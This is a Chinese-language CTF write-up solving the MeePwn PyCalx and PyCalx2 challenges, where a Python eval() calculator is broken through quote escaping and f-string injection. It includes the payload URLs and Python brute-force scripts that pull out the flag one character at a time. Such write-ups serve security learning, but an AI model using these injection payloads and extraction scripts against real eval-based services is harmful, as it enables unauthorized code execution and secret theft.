PyCalx

题目信息

This code is supposed to be unexploitable :/ another pyjail?Notice: The flag may ontain non alphabetic characters (but still printable)Please login to submit flag

进去之后是这个样子的

1.png



点击Source我们可以查看这个程序的源码

01.png

02.png


代码调试

仔细阅读了一下代码,这是一个有限制的Python表达式运算的东西。 

涉及的变量包括source,op,value1,value2,FLAG四个。 
- source,若值为1则显示源代码。 
- value1,运算的第一个变量。 
- value2,运算的第二个变量。 
- op,运算符。 
- FLAG,读取FLAG,存在变量里面。


这里还通过两个函数分别对运算变量和运算符进行了限制。

def get_value(val):
    val = str(val)[:64]
    if str(val).isdigit(): return int(val)
    blacklist = ['(', ')', '[', ']', '\'', '"']  # I don't like tuple, list and dict.
    if val == '' or [c for c in blacklist if c in val] != []:
        print('<center>Invalid value</center>')
        sys.exit(0)
    return val
def get_op(val):
    val = str(val)[:2]
    list_ops = ['+', '-', '/', '*', '=', '!']
    if val == '' or val[0] not in list_ops:
        print('<center>Invalid op</center>')
        sys.exit(0)
    return val

get_op()这个函数首先是限制运算符的有效长度为2,然后通过黑名单+,-,/,*,=,!限制了运算符的第一个字节,第二个字节没做限制。


通过上面的函数对变量过滤后,这里就是对输入的内容转化为字符串拼接成为calc_eval表达式

calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
......
......
try:
    result = str(eval(calc_eval))
    if result.isdigit() or result == 'True' or result == 'False':
        print(result)
    else:
        print("Invalid")  # Sorry we don't support output as a string due to security issue.
except:
    print("Invalid")

最后通过eval()执行calc_eval表达式,返回结果转化为字符串 

如果字符串满足数字,True,Flase这三种形式,就在页面输出,否则输出Invalid错误提示



Bool回显型注入

为了便于分析,把代码精简成本地调试,主要是调试eval()中的语句。

# coding=utf-8
import sys
if __name__ == "__main__":
    FLAG = open('index.php', 'r').read()
    def get_value(val):
        val = str(val)[:64]
        if str(val).isdigit(): return int(val)
        blacklist = ['(', ')', '[', ']', '\'', '"']  # I don't like tuple, list and dict.
        if val == '' or [c for c in blacklist if c in val] != []:
            print('<center>Invalid value</center>')
            sys.exit(0)
        return val
    def get_op(val):
        val = str(val)[:2]
        list_ops = ['+', '-', '/', '*', '=', '!']
        if val == '' or val[0] not in list_ops:
            print('<center>Invalid op</center>')
            sys.exit(0)
        return val
    op = "+"
    value1 = "123"
    value2 = " 123"
    source = 'error_reporting'
    op = get_op(op)
    value1 = get_value(value1)
    value2 = get_value(value2)
    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
    print calc_eval
    result = str(eval(calc_eval))
    print result


**目标清晰:**Flag已经存在了变量FLAG里面,绕过过滤,注入表达式到eval()里面,执行代码,获取Flag。

calc_eval = str(repr(value1)) + str(op) + str(repr(value2))


repr()这个函数很关键 

repr() 函数将对象转化为供解释器读取的形式,当传入不是数字是字符串的时候,会引入引号',效果如下 

2.png


因为get_value过滤的存在,这里无法直接通过value1,value2引入单引号进行单引号逃逸。 

但是因为get_op仅仅过滤验证了第一位字符,因此我们可以在第二位引入单引号。 value1=a,value2=a,op=+'

' a ' + ' ' a '

这时候进入eval肯定会因为语法报错,这时候修改value2=#a,注释后面的单引号

' a ' + ' ' #a '

等价于

' a ' + ' '

那么同时也逃逸了单引号,在#号的前面我们已经可以注入其他运算符了 
value1=a,value2=and 1#a,op=+'

a ' + ' '  and 1#a '

等价于,先加法后与运算

' a ' + ' '  and 1

逃逸出了单引号,但是仍然无法直接打印出Flag,因为页面返回必须满足数字,True,Flase这三种形式才有回显,这里可以确定是通过Bool返回值对Flag进行猜解。

首先想到的是这种形式 value2=and ord(Flag[1]) ==100 #

' a ' + ' ' and ord(Flag[1]) ==100 #'

但过滤的函数get_value导致无法调用有用的ord()函数,同样无法使用[index],和类似的。

这时候就要用到前面的source变量了

if 'source' in arguments:   source = arguments['source'].valueelse:   source = 0if source == '1':   print('<pre>' + escape(str(open(__file__, 'r').read())) + '</pre>')

source赋值使用后仍然存在,是我们的可控点,且无过滤函数,我们可以通过它配合in进行猜解Flag,猜解成功页面返回True,错误则返回Flase 
value1=a,value2=and True and source in FLAG#,op=+',source=xxx

'a' + ' ' and True and source in FLAG#'


EXP

这里我们直接编写脚本,通过GET参数source修改暴力猜解FLAG

http://178.128.96.203/cgi-bin/server.py?value1=t&op=%2B%27&value2=+and+True+and+source+in+FLAG%23&source=MeePwnCTF%7Bpython3.66666666666666_%28%5B_%28%28you_passed_this%3F%5D%5D%5D%5D%5D%5D%29%7D

3.png


# coding=utf-8
import string
import requests
import sys
from urllib import quote
if __name__ == '__main__':
    reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits
    Flag = "MeePwnCTF{"
    url = "http://178.128.96.203/cgi-bin/server.py?value1=t&op=%2B%27&value2=+and+True+and+source+in+FLAG%23&source=" + quote(
        Flag)
    for i in range(100):
        for x in reg_str:
            url_t = url + quote(x)
            print url_t
            html = requests.get(url_t).content
            if '''True
>>>''' in html:
                url = url_t
                Flag = Flag + x
                print Flag
                break

flag.png


最后Flag为

MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])}



PyCalx2

题目信息

You should solve PyCalx first.

兄弟题目,和上一题的几乎没做改动,只是又增加了对op的过滤,引号'已经不能使用了

op = get_op(get_value(arguments['op'].value))

根据上一题的Flag,可以知道版本是python3.6,这里需要使用F-strings. 

在python3.6.2版本中,PEP 498 提出一种新型字符串格式化机制,被称为“字符串插值”或者更常见的一种称呼是F-strings 

F-strings提供了一种明确且方便的方式将python表达式嵌入到字符串中来进行格式化。

使用F-strings我们不用逃逸单引号,因为它支持表达式。 

首先想到的三元表达式,但是Python中并没有,emm........,使用同功能的if else 

value1 = True,value2 ={source*0 if source in FLAG else 233} ,op = +f

执行的代码为: 

'True'+f'{source*0 if source in FLAG else 233}'

如果匹配成功返回True,匹配失败返回True233



EXP

直接修改前一个题的脚本

# coding=utf-8
import string
import requests
import sys
from urllib import quote
if __name__ == '__main__':
    reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits
    Flag = "MeePwnCTF{"
    url = "http://206.189.223.3/cgi-bin/server.py?value1=True&op=%2Bf&value2=%7Bsource*0+if+source+in+FLAG+else+233%7D&source=" + quote(
        Flag)
    for i in range(100):
        for x in reg_str:
            url_t = url + quote(x)
            print url_t
            html = requests.get(url_t).content
            if '''True
>>>''' in html:
                url = url_t
                Flag = Flag + x
                print Flag
                break

Flag:MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}


源链接

Hacking more

...